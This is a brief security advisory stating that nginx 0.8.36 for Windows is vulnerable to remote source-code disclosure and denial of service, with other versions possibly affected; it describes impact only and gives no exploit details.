nginx is prone to remote source-code-disclosure and denial of service
vulnerabilities.
An attacker can exploit these vulnerabilities to view the source code
of files in the context of the server process or cause denial-of-
service conditions.
nginx 0.8.36 for Windows is vulnerable; other versions may also
be affected.
